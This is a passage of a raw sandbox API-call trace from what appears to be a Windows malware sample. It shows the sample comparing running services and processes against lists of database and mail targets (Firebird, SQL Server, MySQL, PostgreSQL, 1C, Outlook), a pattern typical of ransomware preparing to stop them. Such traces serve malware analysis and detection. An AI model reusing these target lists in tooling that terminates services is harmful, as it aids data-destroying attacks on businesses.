(lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0052.180] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0052.180] lstrlenW (lpString="CscService") returned 10 [0052.180] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CscService") returned 1 [0052.180] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CscService") returned 1 [0052.180] lstrcmpiW (lpString1="sqlwriter", lpString2="CscService") returned 1 [0052.180] lstrcmpiW (lpString1="mssqlserver", lpString2="CscService") returned 1 [0052.180] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CscService") returned 1 [0052.180] lstrlenW (lpString="DcomLaunch") returned 10 [0052.180] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0052.180] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0052.181] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0052.181] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0052.181] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0052.181] lstrlenW (lpString="Dhcp") returned 4 [0052.181] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0052.181] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0052.181] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0052.181] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0052.181] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0052.181] lstrlenW (lpString="Dnscache") returned 8 [0052.181] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0052.181] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0052.181] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0052.181] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0052.181] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0052.181] lstrlenW (lpString="DPS") returned 3 [0052.181] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0052.181] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0052.181] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0052.181] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0052.181] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0052.181] lstrlenW (lpString="eventlog") returned 8 [0052.181] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="eventlog") returned 1 [0052.181] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="eventlog") returned 1 [0052.181] lstrcmpiW (lpString1="sqlwriter", lpString2="eventlog") returned 1 [0052.181] lstrcmpiW (lpString1="mssqlserver", lpString2="eventlog") returned 1 [0052.181] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="eventlog") returned 1 [0052.181] lstrlenW (lpString="EventSystem") returned 11 [0052.181] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0052.181] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0052.181] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0052.181] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0052.182] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0052.182] lstrlenW (lpString="gpsvc") returned 5 [0052.182] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0052.182] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0052.182] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0052.182] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0052.182] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0052.182] lstrlenW (lpString="iphlpsvc") returned 8 [0052.182] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0052.182] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0052.182] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0052.182] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0052.182] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0052.182] lstrlenW (lpString="LanmanServer") returned 12 [0052.182] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0052.182] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0052.182] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0052.182] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0052.182] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0052.182] lstrlenW (lpString="LanmanWorkstation") returned 17 [0052.182] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0052.182] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0052.182] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0052.182] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0052.182] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0052.182] lstrlenW (lpString="lmhosts") returned 7 [0052.182] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0052.182] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0052.182] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0052.182] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0052.182] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0052.182] lstrlenW (lpString="MMCSS") returned 5 [0052.182] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MMCSS") returned -1 [0052.183] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MMCSS") returned -1 [0052.183] lstrcmpiW (lpString1="sqlwriter", lpString2="MMCSS") returned 1 [0052.183] lstrcmpiW (lpString1="mssqlserver", lpString2="MMCSS") returned 1 [0052.183] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MMCSS") returned 1 [0052.183] lstrlenW (lpString="MpsSvc") returned 6 [0052.183] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0052.183] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0052.183] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0052.183] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0052.183] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0052.183] lstrlenW (lpString="Netman") returned 6 [0052.183] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Netman") returned -1 [0052.183] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Netman") returned -1 [0052.183] lstrcmpiW (lpString1="sqlwriter", lpString2="Netman") returned 1 [0052.183] lstrcmpiW (lpString1="mssqlserver", lpString2="Netman") returned -1 [0052.183] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Netman") returned 1 [0052.183] lstrlenW (lpString="netprofm") returned 8 [0052.183] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0052.183] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0052.183] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0052.183] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0052.183] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0052.183] lstrlenW (lpString="NlaSvc") returned 6 [0052.183] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0052.183] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0052.183] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0052.183] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0052.183] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0052.183] lstrlenW (lpString="nsi") returned 3 [0052.183] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0052.183] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0052.183] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0052.184] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0052.184] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0052.184] lstrlenW (lpString="PcaSvc") returned 6 [0052.184] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0052.184] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0052.184] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0052.184] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0052.184] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0052.184] lstrlenW (lpString="PlugPlay") returned 8 [0052.184] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0052.184] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0052.184] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0052.184] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0052.184] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0052.184] lstrlenW (lpString="Power") returned 5 [0052.184] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0052.184] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0052.184] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0052.184] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0052.184] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0052.184] lstrlenW (lpString="ProfSvc") returned 7 [0052.184] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0052.184] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0052.184] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0052.184] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0052.184] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0052.184] lstrlenW (lpString="RpcEptMapper") returned 12 [0052.184] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0052.184] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0052.184] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0052.184] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0052.184] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0052.184] lstrlenW (lpString="RpcSs") returned 5 [0052.185] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0052.185] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0052.185] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0052.185] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0052.185] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0052.185] lstrlenW (lpString="SamSs") returned 5 [0052.185] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0052.185] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0052.185] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0052.185] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0052.185] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0052.185] lstrlenW (lpString="Schedule") returned 8 [0052.185] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0052.185] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0052.185] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0052.185] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0052.185] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0052.185] lstrlenW (lpString="SENS") returned 4 [0052.185] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0052.185] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0052.185] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0052.185] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0052.185] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0052.185] lstrlenW (lpString="ShellHWDetection") returned 16 [0052.185] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0052.185] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0052.185] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0052.185] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0052.185] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0052.185] lstrlenW (lpString="Spooler") returned 7 [0052.185] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0052.185] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0052.185] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0052.186] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0052.186] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0052.186] lstrlenW (lpString="swprv") returned 5 [0052.186] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="swprv") returned -1 [0052.186] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="swprv") returned -1 [0052.186] lstrcmpiW (lpString1="sqlwriter", lpString2="swprv") returned -1 [0052.186] lstrcmpiW (lpString1="mssqlserver", lpString2="swprv") returned -1 [0052.186] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="swprv") returned -1 [0052.186] lstrlenW (lpString="SysMain") returned 7 [0052.186] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0052.186] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0052.186] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0052.186] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0052.186] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0052.186] lstrlenW (lpString="Themes") returned 6 [0052.186] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0052.186] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0052.186] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0052.186] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0052.186] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0052.186] lstrlenW (lpString="TrkWks") returned 6 [0052.186] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="TrkWks") returned -1 [0052.186] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="TrkWks") returned -1 [0052.186] lstrcmpiW (lpString1="sqlwriter", lpString2="TrkWks") returned -1 [0052.186] lstrcmpiW (lpString1="mssqlserver", lpString2="TrkWks") returned -1 [0052.186] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="TrkWks") returned -1 [0052.186] lstrlenW (lpString="UxSms") returned 5 [0052.186] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="UxSms") returned -1 [0052.186] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="UxSms") returned -1 [0052.186] lstrcmpiW (lpString1="sqlwriter", lpString2="UxSms") returned -1 [0052.186] lstrcmpiW (lpString1="mssqlserver", lpString2="UxSms") returned -1 [0052.186] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="UxSms") returned -1 [0052.187] lstrlenW (lpString="VSS") returned 3 [0052.187] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="VSS") returned -1 [0052.187] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="VSS") returned -1 [0052.187] lstrcmpiW (lpString1="sqlwriter", lpString2="VSS") returned -1 [0052.187] lstrcmpiW (lpString1="mssqlserver", lpString2="VSS") returned -1 [0052.187] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="VSS") returned -1 [0052.187] lstrlenW (lpString="WdiServiceHost") returned 14 [0052.187] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiServiceHost") returned -1 [0052.187] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiServiceHost") returned -1 [0052.187] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiServiceHost") returned -1 [0052.187] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiServiceHost") returned -1 [0052.187] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiServiceHost") returned -1 [0052.187] lstrlenW (lpString="WdiSystemHost") returned 13 [0052.187] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiSystemHost") returned -1 [0052.187] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiSystemHost") returned -1 [0052.187] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiSystemHost") returned -1 [0052.187] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiSystemHost") returned -1 [0052.187] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiSystemHost") returned -1 [0052.187] lstrlenW (lpString="WinHttpAutoProxySvc") returned 19 [0052.187] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0052.187] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0052.187] lstrcmpiW (lpString1="sqlwriter", lpString2="WinHttpAutoProxySvc") returned -1 [0052.187] lstrcmpiW (lpString1="mssqlserver", lpString2="WinHttpAutoProxySvc") returned -1 [0052.187] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WinHttpAutoProxySvc") returned -1 [0052.187] lstrlenW (lpString="Winmgmt") returned 7 [0052.187] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Winmgmt") returned -1 [0052.188] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Winmgmt") returned -1 [0052.188] lstrcmpiW (lpString1="sqlwriter", lpString2="Winmgmt") returned -1 [0052.188] lstrcmpiW (lpString1="mssqlserver", lpString2="Winmgmt") returned -1 [0052.188] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Winmgmt") returned -1 [0052.188] lstrlenW (lpString="WPDBusEnum") returned 10 [0052.188] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WPDBusEnum") returned -1 [0052.188] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WPDBusEnum") returned -1 [0052.188] lstrcmpiW (lpString1="sqlwriter", lpString2="WPDBusEnum") returned -1 [0052.188] lstrcmpiW (lpString1="mssqlserver", lpString2="WPDBusEnum") returned -1 [0052.188] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WPDBusEnum") returned -1 [0052.188] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x607b80 | out: hHeap=0x510000) returned 1 [0052.188] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x210 [0052.190] Process32FirstW (in: hSnapshot=0x210, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0052.190] Process32NextW (in: hSnapshot=0x210, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4e, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0052.190] lstrlenW (lpString="System") returned 6 [0052.190] lstrcmpiW (lpString1="1c8.exe", lpString2="System") returned -1 [0052.190] lstrcmpiW (lpString1="1cv77.exe", lpString2="System") returned -1 [0052.190] lstrcmpiW (lpString1="outlook.exe", lpString2="System") returned -1 [0052.190] lstrcmpiW (lpString1="postgres.exe", lpString2="System") returned -1 [0052.190] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="System") returned -1 [0052.190] lstrcmpiW (lpString1="mysqld.exe", lpString2="System") returned -1 [0052.191] lstrcmpiW (lpString1="sqlservr.exe", lpString2="System") returned -1 [0052.191] Process32NextW (in: hSnapshot=0x210, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0052.191] lstrlenW (lpString="smss.exe") returned 8 [0052.191] lstrcmpiW (lpString1="1c8.exe", lpString2="smss.exe") returned -1 [0052.191] lstrcmpiW (lpString1="1cv77.exe", lpString2="smss.exe") returned -1 [0052.191] lstrcmpiW (lpString1="outlook.exe", lpString2="smss.exe") returned -1 [0052.191] lstrcmpiW (lpString1="postgres.exe", lpString2="smss.exe") returned -1 [0052.191] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="smss.exe") returned -1 [0052.191] lstrcmpiW (lpString1="mysqld.exe", lpString2="smss.exe") returned -1 [0052.191] lstrcmpiW (lpString1="sqlservr.exe", lpString2="smss.exe") returned 1 [0052.191] Process32NextW (in: hSnapshot=0x210, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0052.191] lstrlenW (lpString="csrss.exe") returned 9 [0052.191] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0052.191] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0052.191] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0052.191] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0052.191] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0052.192] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0052.192] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1 [0052.192] Process32NextW (in: hSnapshot=0x210, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x17c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0052.192] lstrlenW (lpString="wininit.exe") returned 11 [0052.192] lstrcmpiW (lpString1="1c8.exe", lpString2="wininit.exe") returned -1 [0052.192] lstrcmpiW (lpString1="1cv77.exe", lpString2="wininit.exe") returned -1 [0052.192] lstrcmpiW (lpString1="outlook.exe", lpString2="wininit.exe") returned -1 [0052.192] Process32NextW (in: hSnapshot=0x210, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x188, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x174, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0052.192] lstrlenW (lpString="csrss.exe") returned 9 [0052.192] Process32NextW (in: hSnapshot=0x210, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x174, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0052.193] lstrlenW (lpString="winlogon.exe") returned 12 [0052.193] Process32NextW (in: hSnapshot=0x210, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x17c, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0052.193] lstrlenW (lpString="services.exe") returned 12 [0052.193] Process32NextW (in: hSnapshot=0x210, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x17c, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0052.193] lstrlenW (lpString="lsass.exe") returned 9 [0052.193] Process32NextW (in: hSnapshot=0x210, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x17c, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0052.193] lstrlenW (lpString="lsm.exe") returned 7 [0052.193] Process32NextW (in: hSnapshot=0x210, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0052.194] lstrlenW (lpString="svchost.exe") returned 11 [0052.194] Process32NextW (in: hSnapshot=0x210, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0052.194] lstrlenW (lpString="svchost.exe") returned 11 [0052.194] Process32NextW (in: hSnapshot=0x210, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0052.194] lstrlenW (lpString="svchost.exe") returned 11 [0052.194] Process32NextW (in: hSnapshot=0x210, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x334, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0052.195] lstrlenW (lpString="svchost.exe") returned 11 [0052.195] Process32NextW (in: hSnapshot=0x210, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x36c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x28, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0052.195] lstrlenW (lpString="svchost.exe") returned 11 [0052.195] Process32NextW (in: hSnapshot=0x210, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, 